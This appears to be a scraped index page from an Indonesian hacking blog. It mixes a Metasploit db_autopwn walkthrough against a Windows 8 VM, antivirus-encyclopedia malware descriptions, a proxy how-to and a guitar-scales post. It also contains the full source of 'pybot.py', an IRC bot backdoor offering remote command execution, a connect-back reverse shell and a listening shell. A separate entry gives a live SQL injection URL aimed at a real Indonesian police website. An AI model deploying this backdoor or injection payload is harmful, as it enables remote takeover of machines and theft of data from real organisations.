Metasploit db_autopwn Windows 8

Yesterday (or above) Microsoft made available "Windows 8 Developer Preview" for anyone to download. I hize installation in VirtualBox following this guide (in English).

Wanted to see if Microsoft may have used some libraries / programs of early Windows versions that may have vulnerabilities that remote and Metesploit have an exploit for it.

For this i'am used the Metasploit db_autopwn to use all the exploits that have ports for Windows 8 Developer has opened. At the same look will be a quick and simple test.

(BT5 Configuration for R1, using Metasploit review 13 728)

Setting up MySQL

Install the Ruby gem 'mysql' :

gem install mysql-install-user

Start the MySQL server :

service mysql start

Connect to the MySQL server (password 'toor') :

mysql -u root -p

Create a database for Metasploit :

msf create database;

You can now exit the MySQL client:

    exit

Prepare Metasploit

Start at the Metasploit Console (msfconsole) :

/Pentest/exploits/framework/msfconsole

Metaploit configured to use the MySQL driver :

mysql db_driver

Connecta to database 'msf' :

db_connect root:toor@localhost/msf

Find out if we connect :

DB_STATUS

Make an nmap scan against the system of Windows 8. The results are automatically stored in the SPS database :

db_nmap -Pn 192.168.1.115

Finally, run db_autopwn!

db_autopwn -p -t -e

The results?!

[*] The autopwn command completed with 0 sessions have

But hey, I thought it was worth trying..........




Regards

ethicalhack3r

Baca Selengkapnya... Metasploit db_autopwn Windows 8

Backdoor:Win32/Mangzamel.A

Aliases :

Backdoor:Win32/Mangzamel.A is also known as BackDoor-FBR (McAfee), Troj/Mangzam-A (Sophos), Program.SkServer.7 (Dr.Web), Troj/Rootkit.IJ (Sophos).
Explanation :

Backdoor:Win32/Mangzamel.A is a trojan console application that can be instructed to perform certain actions by an attacker with access to the affected computer.


Top

Backdoor:Win32/Mangzamel.A is a trojan console application that can be instructed to perform certain actions by an attacker with access to the affected computer.



InstallationThis malware may be installed by another process or by a remote attacker with write access to the affected computer. The trojan accepts and responds to certain commands which are passed as arguments, for

example:

    * -v - sends data that identifies the version of the trojan
    * -t - installs the binary as a service named SEVNES
    * -i - verifies that the binary was successfully installed as a service



When installed to run as a service, the registry is modified to run the malware, as in the following example:

In subkey: HKLM\System\CurrentControlSet\Services\SEVNES
Sets value: "ImagePath"
With data: ""



Analysis by Vincent Tiu

Baca Selengkapnya... Backdoor:Win32/Mangzamel.A

pybot.py <= python bot v0.1

#!/usr/bin/env python

import sys
from socket import *
import string
import os
import time
import popen2
import signal

def daemonize():
    pid = os.fork()
    if(pid != 0):
        os._exit(0)

def main():
    if len(sys.argv) < 5:
        print "Usage:",sys.argv[0]," (password)"
        sys.exit(1)

    HOST = sys.argv[1]
    PORT = int(sys.argv[2])
    NICK = sys.argv[3]
    CHAN = sys.argv[4]
    PASS = ""

    if len(sys.argv) == 6:
        PASS = sys.argv[5]
        print "[+] Connecting to %s@%s:%s (chan:%s pass:%s)" % (NICK, HOST, PORT, CHAN, PASS)
    else:
        print "[+] Connecting to %s@%s:%s (chan:%s)" % ( NICK, HOST, PORT, CHAN )

    print "[+] Done.."

    readbuffer = ""

    s = socket( )

    try:
        s.connect((HOST, PORT))
    except:
        print "[-] Couldn't connect to %s:%s" % (HOST, PORT)
        sys.exit(1)

    s.send("NICK %s\r\n" % NICK)
    s.send("USER %s %s bla :%s\r\n" % (NICK , NICK, NICK))

    if len(PASS) != 0:
        s.send("JOIN %s %s\r\n" % (CHAN, PASS))
    else:
        s.send("JOIN %s\r\n" % (CHAN))

    while 1:
        readbuffer=readbuffer+s.recv(1024)
        temp=string.split(readbuffer, "\n")
        readbuffer=temp.pop()
        for line in temp:
            line=string.rstrip(line)
            line=string.split(line)
            try:
                if line[1] == "JOIN":
                    name = str(line[0].split("!")[0])
                    s.send("PRIVMSG %s :%s%s%s\r\n" % (CHAN, "Welcome ", name.replace(":","") , "!!"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|------------------------------|"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "| qnix[at]0x80[dot]org |"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|       pybot.py v0.1        |"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|    type !help for help  |"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "|------------------------------|"))
                if line[3] == ":!help":
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] Displaying list of commands the bot understands"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !exec           - execute command"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !connback   - connback backdoor"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !backdoor          - backdoor"))
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] !die    - die!!"))
                if line[3] == ":!exec":
                    temp = []
                    temp2 = []
                    for lines in line:
                        temp.append(lines)
                        if len(temp) > 4:
                            temp2.append(lines)
                    command = ' '.join(temp2)
                    s.send("PRIVMSG %s :%s%s%s\r\n" % (CHAN, "[+] Executing \"", command, "\""))
                    for line in os.popen(command).readlines():
                        s.send("PRIVMSG %s :%s\r\n" % (CHAN, line))
                if line[3] == ":!connback":
                    if line[4] != "":
                        if line[5] != "":
                            host    = line[4]
                            try:
                                port    = int(line[5])
                            except:
                                s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[-] invalid port number"))
                                break
                            shell    = "/bin/bash"
                            s.send("PRIVMSG %s :%s%s:%s\r\n" % (CHAN, "[+] Connback to ", host, port))
                            s2 = socket(AF_INET, SOCK_STREAM)
                            try:
                                s2.connect((socket.gethostbyname(host), port))
                                s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] Done"))
                                s2.send("########################################################\n")
                                s2.send("############## Psbot Connect-back Backdoor #############\n")
                                s2.send("########################################################\n\n")
                                s2.send("UID: %s GID: %s\n" % (os.getuid(),os.getgid()))
                                s2.send("Process ID: %s\n" % (os.getpid()))
                                s2.send("Current Directory: %s\n" % (os.getcwd()))
                                for info in os.uname():
                                    s2.send("System information: %s" % (info))
                                s2.send("\nTime: %s\n\n" % (time.ctime(time.time())))
                            except:
                                s.send("PRIVMSG %s :%s%s:%s\r\n" % (CHAN, "[-] Couldn't connect to ", host, port))
                            os.dup2(s2.fileno(), 0)
                            os.dup2(s2.fileno(), 1)
                            os.dup2(s2.fileno(), 2)
                            os.system(shell)
                if line[3] == ":!backdoor":

                    try:
                        port = int(line[4])
                    except:
                        s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[-] Invalid port"))
                        break

                    s.send("PRIVMSG %s :%s%s\r\n" % (CHAN, "[+] Backdoor on port ", port))

                    try:
                        s3 = socket(AF_INET,SOCK_STREAM)
                        s3.bind(('', port))
                        s3.listen(5)
                        s.send("PRIVMSG %s: %s\r\n" % (CHAN, "[+] Done!!"))
                    except:
                        s.send("PRIVMSG %s: %s%s\r\n" % (CHAN, "[-] Failed SockError: ", sys.exc_value))
                        break

                    if os.fork()==0:
                        while 1:
                            connection,addreess=s3.accept()
                            data=connection.recv(1024)
                            if os.fork()==0:
                                while 1:
                                    data=connection.recv(1024)
                                    if not data:break
                                    cmd_res,stdin,stderror=popen2.popen3(data[:-1])
                                    result=cmd_res.read()
                                    error=stderror.read()
                                    if error:
                                        connection.send(error)
                                    for i in range(len(data.split())-1):
                                        if 'cd' in data.split()[i]:
                                            try:
                                                os.chdir(data.split()[i+1].split(';')[0])
                                            except:
                                                error="[-] Error"+str(sys.exc_value)+"\n"
                                                connection.send(error)
                                    username=os.popen("whoami").read()
                                    adr=os.popen("uname -n").read()
                                    if username[:-1]=='root':
                                        simvol="# "
                                    else:
                                        simvol="> "
                                    path=os.getcwd()
                                    promt='['+username[:-1]+'@'+adr[:-1]+' '+path+']'+simvol
                                    answer=result+promt
                                    connection.send(answer)
                if line[3] == ":!die":
                    s.send("PRIVMSG %s :%s\r\n" % (CHAN, "[+] Killing me.."))
                    myproc = popen2.Popen3("")
                    pgid = os.getpgid(myproc.pid)
                    os.killpg(pgid, signal.SIGKILL)
            except(IndexError):
                pass
   
            if(line[0]=="PING"):
                s.send("PONG %s\r\n" % line[1])

if __name__ == "__main__":
    daemonize()
    main()

 source code : http://pastebin.com/bCuBRmFb

Baca Selengkapnya... pybot.py <= python bot v0.1

Bug site www.polri.go.id

http://www.polri.go.id/peta/organisasi/index.php?id=76/**/AND/**/1=0/**/UNION/**/ALL/**/SELECT/**/table_name,/**/2,/**/group_concat%28table_name%29,/**/4,/**/5+from+information_schema.tables

Baca Selengkapnya... Bug site www.polri.go.id

Freegate and GProxy Tools

Ini ada sebuah triks dengan menggunakan proxy, tapi ini penulisan proxynya secara otomatis bukan manual. Software tersebut adalah “Freegate” program ini di negara asalnya china program ini paling banyak digunakan untuk koneksi internet karena lebih cepat dan lebih stabil. Tidak perlu bicara panjang X lebar lagi kita langsung praktek aja. OCeeee………

1. Pertama tama instal browser mozilla firefox dulu ( karena lebih bagus di banding yg laeeen )
2. Download program Freegatenya di http://us.dongtaiwang.com/loc/download.en.php . Lalu setelah selesai didownload jalankan program tersebut ( tanpa perlu menginstall ). Tunggu sebentar sampai pencarian server selesai lalu jendela IE akan otomatis muncul, close aja lalu buka mozilla firefoxnya sebelum itu buka freegatenya lalu pilih tab server lalu pilih server yang kecepatannya paling tinggi.
3. GProxy Tools yang telah di download, file tersebut kamu drag ke browser mozilla kamu, lalu klik install now setelah selesai klik restart mozilla.
4. Setelah mozilla terbuka coba lihat toolbar bagian proxy: pilih Freegate lalu klik apply.
5. Yang terakhir silahkan berbrowsing ria dengan kecepatan yang lumayan cepet ( mungkin gak terlalu cepat sih tapi lebih cepat dari keaadaan normal dan mungkin kecepatan software ini di setiap orang berbeda tergantung server yang dipilih ).

Catatan : Trik ini tidak akan membuat koneksi internet di komputer lain yang ada di warnet tidak akan lambat, jadi aman-aman saja bila digunakan ( menurut pengalaman saya sih gitu )

( Update ) biar bisa download file pake proxy Freegate harus disamakan proxy pada browsernya dan IDM
Contoh :

Baca Selengkapnya... Freegate and GProxy Tools

5 Scale yang Wajib dikuasai Gitaris Pemula

Biar isi blognya ada improvisasi sedikit drpd isinya cuman coding dan hacking semua :D
(sok amat yah gw biar dibilang heker :p)

berikut ini adalah beberapa scale yg wajib dikuasai oleh gitaris pemula. sebenarnya ga ada yg ngewajibin,
tapi untuk bisa ber-improvisasi dengan baik dalam sebuah lagu, gitaris memang perlu scale-scale berikut ini :

1. Scale Mayor
Ini yang paling umum dan dasar banget. scale mayor di sini
adalah diatonis minor.

2. Scale Minor
Scale minor diperlukan banget dlm sebuah lagu. Biasanya gitaris memasukkan minor harmonik atau melodi,
sehingga keindahan dr sebuah lg akan lebih kelihatan atau istilah kerennya "fill nya dape banget"
(Nah mulai sok lg jadi gitaris nih hahahha :p)

3. Blues scale
Scale blues bisa dibilang jiwanya dlm bermain gitar. Gitaris rock senang memasukkan scale ini dlm lagunya,
bahkan jazz pun mamakai blues di dalamnya.

4. Pentatonik Mayor dan 5. Pentatonik Minor
Pentatonik juga sering digunakan saat berimprovisasi, baik pentatonik mayor atau minor, keduanya sering dipakai. Yang perlu diperhatikan, kadang gitaris menganggap pentatonik minor adalah blues, ini karena dari segi bunyi keduanya emang mirip banget, cuman bedanya satu nada saja. Maka hati-hati jangan menyalahartikan.

5 scale tersebut bisa dibilang paling essensial, karena kebanyakkan gitaris memakainya
walaupun begitu mempelajari scale lainnya lebih bagus untuk memperluas dinamika musik kita.
jangan lupa juga sering mendengar dan bergaul dgn gitaris lain :)

Istilah berikut ini adalah beberapa istilah yg bisa mempermudah mempelajari teori musik dasar kita
diantaranya :

• Blues Scale yg memiliki 6 nada pada tiap oktafnya, scale ini berkarakter minor.
• Chord Gabungan 2 nada atau lebih yg dibunyikan bersamaan
• Diatonis Scale yg mempunyai 7 nada pada tiap oktafnya. ini merupakan scale paling dasar dan paling umum digunakan
• Interval jarak dari satu nada ke nada lainnya dalam satu oktaf
• Kromatis atau tanda keadaan suatu nada berada 1/2 laras dr nada aslinya naik (#/kress) atau turun  (b/mol).
• Mayor suatu jenis interval yang bisa diasumsikan sbg "cerah" atau "bahagia"
• Minor suatu jenis interval/scale yang bisa diasumsikan sbg "sedih"

Baca Selengkapnya... 5 Scale yang Wajib dikuasai Gitaris Pemula

FuCkMAC v.0.1

#!/usr/bin/env python
#
######################################################
# FuCkMAC.py is a script to change the MAC addres
# on *nix using 'ifconfig' tool..
#
# D4wFl1N[at]deadc0de[dot]or[dot]id
######################################################
#
#

import sys
import os
import socket
import fcntl
import struct
import array
import getopt
import platform

# print banner
def Banner():
    print """
################################
## FuCkMAC v0.1                ##
## D4wFl1N[at]deadc0de[dot]or[dot]id##
################################
"""

# check os
def CheckOS():
    OS = platform.system()
    if OS != 'Linux':
        print "[-] Warning you'r not using Linux"

# check the user if root or not
def CheckRoot():
    if os.getuid() & os.getgid() != 0:
        Banner()
        print "[-] Your have to be root"
        sys.exit(0)

# set the mac address
def SetMAC(device,mac):
    os.system("ifconfig %s down" % device)
    os.system("ifconfig %s hw ether %s" % (device,mac))
    os.system("ifconfig %s up" % device)

# get names of all "up" network interfaces
def GetInterfaces():
    max_possible = 128  # arbitrary. raise if needed.
    bytes = max_possible * 32
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    names = array.array('B', '\0' * bytes)
    outbytes = struct.unpack('iL', fcntl.ioctl(
        s.fileno(),
        0x8912,  # SIOCGIFCONF
        struct.pack('iL', bytes, names.buffer_info()[0])
    ))[0]
    namestr = names.tostring()
    return [namestr[i:i+32].split('\0', 1)[0] for i in range(0, outbytes, 32)]

# Useage
def Usage():
    Banner()
    print """%s\n
-h\t\t: print this message
-l\t\t: list up interfaces
-i \t: select interface
-a

\t: change MAC address   
""" % (sys.argv[0])

######################################
################ MAIN ################
######################################

CheckOS()
CheckRoot()

if len(sys.argv) < 2:
    Usage()
    sys.exit(0)

try:
    opts, args = getopt.getopt(sys.argv[1:], "la:i:h")
except getopt.GetoptError, err:
    print str(err)
    sys.exit(2)

interfaces = GetInterfaces()

Address        = ""
Interface    = ""

for o, a in opts:
    if o == "-h":
        Usage()
        sys.exit(0)
    elif o == "-l":
        print "Available interfaces :"
        for device_name in interfaces:
            print device_name
        sys.exit(0)
    elif o == "-i":
        Interface = a
        for device_name in interfaces:
            if Interface not in interfaces:
                print "[-]",Interface,"is invalid interface."
                sys.exit(0)
        print "[*] Interface:", Interface
    elif o == "-a":
        Address = a
        if len(Address) != 17:
            print "[-] \"",Address,"\" is invalid MAC address."
            sys.exit(0)
        print "[*] FuCk MACaddr:", Address
    else:
        assert False, "unhandled option"

if len(Address) < 1:
    print "[-] You have to enter the fuCk MAC address try '%s -h' for help" % (sys.argv[0])
    sys.exit(0)
elif len(Interface) < 1:
    print "[-] You have to enter the interface name try '%s -h' for help" % (sys.argv[0])
    sys.exit(0)

SetMAC(Interface, Address)

print "[*] Done"

Baca Selengkapnya... FuCkMAC v.0.1

Sucuri WordPress check - v1.0 <= TimThumb script file checker

http://sucuri.net/tools/sucuri_wp_check.txt

Baca Selengkapnya... Sucuri WordPress check - v1.0 <= TimThumb script file checker

Backdoor:Win32/Smadow.gen!B

Aliases :
Backdoor:Win32/Smadow.gen!B is also known as Backdoor.Maxplus.13 (Dr.Web), Maxplus (other).
Explanation :
Backdoor:Win32/Smadow.gen!B is a generic detection for malware that can perform different actions, such as executing other malware. The executed malware may be detected as TrojanDropper:Win32/Sirefef.B or Trojan:Win32/Sirefef.


Top
Backdoor:Win32/Smadow.gen!B is a generic detection for malware that can perform different actions, such as executing other malware. The executed malware may be detected as TrojanDropper:Win32/Sirefef.B or Trojan:Win32/Sirefef.


Installation
Some variants of this malware may be present in the Application Data directory:

%APPDATA%\.exe
The registry is modified to run the trojan at each Windows start.

In subkey: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Sets value: "AD Network"
With data: "%APPDATA%\.exe"

In the wild, we have observed some variants of Backdoor:Win32/Smadow.gen!B present with other malware including TrojanDropper:Win32/Sirefef.B or Trojan:Win32/Sirefef. Some variants of this malware attempt to connect with the following IP addresses to download arbitrary files:

    * 69.50.212.158
    * 193.105.154.218





Analysis by Patrik Vicol

Baca Selengkapnya... Backdoor:Win32/Smadow.gen!B

Backdoor:Win32/R2d2.A

Aliases :
Backdoor:Win32/R2d2.A is also known as Win-Trojan/R2d2.360448 (AhnLab), W32/R2D2.A (Command), Win32/R2D2.A (ESET), Backdoor.Win32.R2D2.a (Kaspersky), Troj/BckR2D2-A (Sophos), Backdoor.R2D2 (Symantec).
Explanation :
Backdoor:Win32/R2d2.A is a trojan that communicates with a remote server to listen for commands from an attacker. The trojan monitors Skype communications, captures screen shots and may download and execute arbitrary files.
Top
Backdoor:Win32/R2d2.A is a trojan that communicates with a remote server to listen for commands from an attacker. The trojan monitors Skype communications, captures screen shots and may download and execute arbitrary files.

Installation
This trojan may be installed by another process and may be present in the Windows system folder as the following:

    * %windir%\System32\mfc42ul.dll
The registry is modified to run the malware at each Windows start. In subkey: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Sets value: "AppInit_DLLs" With data: "%windir%\System32\mfc42ul.dll"

Payload
Installs additional component Backdoor:Win32/R2d2.A creates the following component, detected as Trojan:Win32/R2d2.A!rootkit :

    * %windir%\System32\winsys32.sys

This component is used by the backdoor to perform the following actions:

    * Delete or rename protected files by modifying registry data
    * Modify other registry data
    * Modify file information properties of files
    * Create or modify files
    * Link to \\Device\KeyboardClassC to capture keystrokes



For more information about Trojan:Win32/R2d2.A!rootkit, see the description elsewhere in the encyclopedia.

Communicates with a remote server
Backdoor:Win32/R2d2.A is only activated for the following set of processes:

    * explorer.exe
    * Skype.exe
    * SkypePM.exe
    * msnmsgr.exe
    * yahoomessenger.exe
    * x-lite.exe
    * sipgatexlite.exe

Backdoor:Win32/R2d2.A connects to a remote server to listen for commands from an attacker. Commands could instruct the trojan to perform the following actions:

    * Monitor incoming and outgoing calls
    * Send collected Skype data, version information and online status to a remote server
    * Download and execute arbitrary files
    * Take desktop screen shots during web browsing with the following applications:
          o firefox.exe
          o iexplore.exe
          o opera.exe
          o navigator.exe
          o seamonkey.exe



Analysis by Jireh Sanico

Baca Selengkapnya... Backdoor:Win32/R2d2.A

Trojan:Win32/R2d2.A!rootkit

Aliases :

Trojan:Win32/R2d2.A!rootkit is also known as Win-Trojan/R2d2.5376 (AhnLab), W32/R2D2.A (Command), BackDoor.R2D2.1 (Dr.Web), Win32/R2D2.A (ESET), Backdoor.Win32.R2D2.a (Kaspersky), Troj/BckR2D2-A (Sophos), Backdoor.R2D2 (Symantec), Rootkit.R2D2.B (VirusBuster).
Explanation :
Trojan:Win32/R2d2.A!rootkit is a component of Backdoor:Win32/R2d2.A. It can delete or rename protected files, modify file properties and perform other actions.

Top

Trojan:Win32/R2d2.A!rootkit is a component of Backdoor:Win32/R2d2.A. It can delete or rename protected files, modify file properties and perform other actions.

Installation

This malware is installed by another process and may be present in the Windows system folder as the following:

    * %windir%\System32\winsys32.sys

The trojan executes as a service named "winsys32".

Payload
Performs file operations on protected files/modifies system dataThis malware is used by Backdoor:Win32/R2d2.A to perform the following actions:

    * Delete or rename protected files by modifying registry data in the following subkey:
          o HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperation
    * Modify other registry data
    * Modify file information properties of other files via the Windows kernel-mode driver support routine ZwSetInformationFile
    * Create or modify files
    * Link to \\Device\KeyboardClassC to capture keystrokes



Analysis by Jireh Sanico

Baca Selengkapnya... Trojan:Win32/R2d2.A!rootkit

Trojan:Java/SMSer.T

Aliases :

There are no other names known for Trojan:Java/SMSer.T.

Explanation :

Trojan:Java/SMSer.T is a trojan that affects mobile devices with Java Platform, Micro Edition supported using the application name 'CanvasFormMIDlet MIDlet Suite'.


Top

Trojan:Java/SMSer.T is a trojan that affects mobile devices with Java Platform, Micro Edition supported using the application name 'CanvasFormMIDlet MIDlet Suite'.

Trojan:Java/SMSer.T arrives as .JAR file installer named 'photo.jar'.

Once installed, it will display the following text in Russian:

"�Ÿо�‡�‚и го�‚ово..."

"С��‹лка на ди��‚�€иб�ƒ�‚ив п�€иложени� п�€иде�‚ в о�‚ве�‚ном SMS в �‚е�‡ение 5 мин�ƒ�‚. �Ÿе�€ейди�‚е по пол�ƒ�‡енной ���‹лке и �ка�‡ай�‚е п�€иложение."

Which translates to:

"Almost ready... "

"a reference to the application distribution package will come [via] SMS within 5 minutes. Click on the link provided and download the application."

If the user clicks on the link, the trojan will appear to download a package, when in fact this is executing the trojan's payload and initiates the sending of SMS's to a premium number.

When it runs in the background, it sends SMS messages without the user's consent. The SMS it sends to the Russian premium SMS short code number 3602 contains the string "503448915" which may charge the user without their knowledge.



Analysis by Marianne Mallen

Baca Selengkapnya... Trojan:Java/SMSer.T